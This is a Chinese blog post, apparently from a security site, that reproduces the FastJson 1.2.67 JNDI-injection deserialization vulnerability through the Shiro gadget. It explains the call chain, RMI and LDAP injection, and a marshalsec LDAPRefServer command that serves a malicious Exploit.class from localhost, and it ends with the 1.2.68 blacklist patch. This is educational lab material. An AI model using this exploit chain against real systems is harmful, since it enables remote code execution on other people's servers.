前言
前不久传的沸沸扬扬的FastJson反序列化漏洞,相信有不少企业都中招了,当然我司也未能幸免,基于次漏洞更具官方给的补漏措施,已完全可以避免在这不再阐述。本文就拿它从一个简单的FastJson 漏洞开始,搭建漏洞环境,分析漏洞成因,使用条件等。从入门者的角度看懂并复现漏洞触发,拥有属于自己的一套漏洞调试环境。
以下便是部分官方公告:
0x01 Fastjson简介
“Fastjson” 是Alibaba的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
https://github.com/alibaba/fastjson
0x02 环境搭建
JDK 版本:8u112 、fastjson: 1.2.67、shiro: 1.5.1、slf4j-nop: 1.7.25
0x1 添加依赖包
为了快速添加项目所需要的jar包,创建Maven项目如下
Maven文件:pom.xml
导入工程之后右键pom.xml ,点击下载源码source和document。
0x2 Idea中JDK版本选择
此漏洞应该选择:JDK 8u112
0x3 手动漏洞代码
此时在main文件夹中,添加漏洞代码核心在于调用了fastjson.JSON的parseObject 两函数
0x03 漏洞原理
0x1 FastJson 类解析
如图:fastjson.java
因此,通过以上代码可以看出调用parseObject 函数会调用getattr()方法。
0x2 漏洞调用链分析
此时我们进行调用栈分析:
利用1:parseObject 对象类型转换
在这一步的操作是将obj对应的对象类型转化为json,这肯定要获得getattr() 对象方法,从而会触发漏洞。
利用2:反射调用
将用invoke方法,调用getinstance()方法:
例:
利用3: 触发ldap
JndiObjectFactory、getinstance中调用了this.lookup(resourceName)方法:
例:
0x3 JNDI 注入
在Java Name Directory Interface中,Java的命名和目录接口(JNDI)是一种Java 的API,类似于一个索引中心,允许客户端通过name发现和查找数据。JNDI包括Naming Service和Directory Service,此时,通过名称来寻找数据和对象的API,我们也称其中为一种绑定。但是JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
整个应用场景如:动态加载数据库配置文件,从而保持数据库代码不变动等。
漏洞注入方法:
JNDI Reference 配合 RMI
JNDI Reference 配合 LDAP
RMI格式:ctx.lookup("rmi://localhost:9999/refObj");
LDAP格式ctx.lookup("ldap://localhost:9999/refObj");
假若lookup函数中的参数攻击者可控,便可以指向攻击者的服务器,即:可实现JNDI注入实现任意代码执行。
注入1:RMI
简称RMI(Remote Method Invocation,远程方法调用),远程方法调用是分布式编程中的基本思想,实现远程方法调用的技术有CORBA、WebService等(这两种独立于编程语言)。RMI则是专门为JAVA设计,依赖JRMP通讯协议。
注入2:LDAP
简称:LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)一种目录服务协议,主要运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,从而能进行查询、浏览和搜索,以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。该漏洞简单的将利用org.apache.shiro 包中的jndi功能访问自己搭建的ldap服务,获取并执行自己编译的Exploit.class文件。
0x04 漏洞利用
0x1 Java 利用代码编译
0x2 此时开启 LDAP 服务
使用marshalsec启动一个ladp服务器 ,下载地址为
https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit
0x3 开启HTTP Web 服务
此时将编译好的Exploit.class 放在web目录下并开启服务
0x05 漏洞补丁
这个链接梳理了fastjson hash对应的jar,可以方便的寻找已经被过滤的jar包
https://github.com/LeadroyaL/fastjson-blacklist
该漏洞采用黑名单的方式进行修补,在1.2.68中把org.apache.shiro.jndi 给ban掉了
具体代码如下图所示,在 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) 函数中有对应处理。黑名单hash生成算法,大概思路是将每一位都异或进行异或叠加。
- 上一篇:观赏某大佬分析病毒后的一次复现分析
- 下一篇:phpMyAdmin/setup漏洞
猜你还喜欢
- 07-08九年专业安全团队承接渗透入侵维护服务
- 08-06SQLMAP的注入命令以及使用方法
- 08-03白帽故事汇:网络安全战士从来不是「男生」的专利
- 07-27编辑器漏洞手册
- 07-12web安全之如何全面发现系统后台
- 02-22常见Web源码泄露总结
- 07-25网站后台登陆万能密码
- 07-23破解emlog收费模板“Begin”
- 03-21黑客如何破解wifi密码
- 01-12批量检测SQL注入
- 最新文章
- 随机文章
-
- 剁手结束,快递背后的黑产狂欢才刚开始
- 深入理解Double Free:CVE-2015-2419 Exploit分析
- 浅谈大型互联网企业入侵检测及防护策略
- CaptfEncoder:一款跨平台网络安全工具套件
- 一次编码WebShell bypass D盾的分析尝试
- Microsoft SQL Server漏洞浅析
- Linux Restricted Shell绕过技巧总结
- 利用Drupal漏洞进行传播的挖矿僵尸病毒分析
- 构造优质上传漏洞Fuzz字典
- BlobRunner:一款功能强大的恶意软件Shellcode调试与分析工具
- BurpSuite_v2.0下载
- 某挖矿系统(各类币)一些通用漏洞
- StackOverFlow之Ret2libc详解
- SniffAir:无线渗透测试框架
- 某行小程序投标测试的思路和坑
- 勒索软件最喜欢的接入点:远程桌面协议
- 如何通过Nmap Xml文件进行自动化渗透测试
- 从某电商钓鱼事件探索黑客“一站式服务”
- WordPress Plugin Quizlord 2.0 XSS漏洞复现与分析
- 技术分享 | 如何通过PowerShell DSC进行横向渗透
- 热门文章
-
- 九年专业安全团队承接渗透入侵维护服务
- Stuxnet纪录片-零日 Zero.Days (2016)【中文字幕】
- Emlog黑客站模板“Milw0rm”发布
- SQLMAP的注入命令以及使用方法
- 白帽故事汇:网络安全战士从来不是「男生」的专利
- 编辑器漏洞手册
- web安全之如何全面发现系统后台
- 常见Web源码泄露总结
- 深入理解JAVA反序列化漏洞
- cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
- 网站后台登陆万能密码
- 黑客怎样简单入侵别人手机,黑客是如何入侵手机的?
- 黑麒麟2016渗透培训系列教程
- 破解emlog收费模板“Begin”
- 那些强悍的PHP一句话后门
- Android平台渗透测试套件zANTI v2.5发布(含详细说明)
- 渗透工具BackTrack与KaliLinux全套视频教程
- Python列为黑客应该学的四种编程语言之一 初学者该怎么学
- CVE-2017-11882漏洞复现和利用
- 恶意程序报告在线查询工具
- 文章标签
-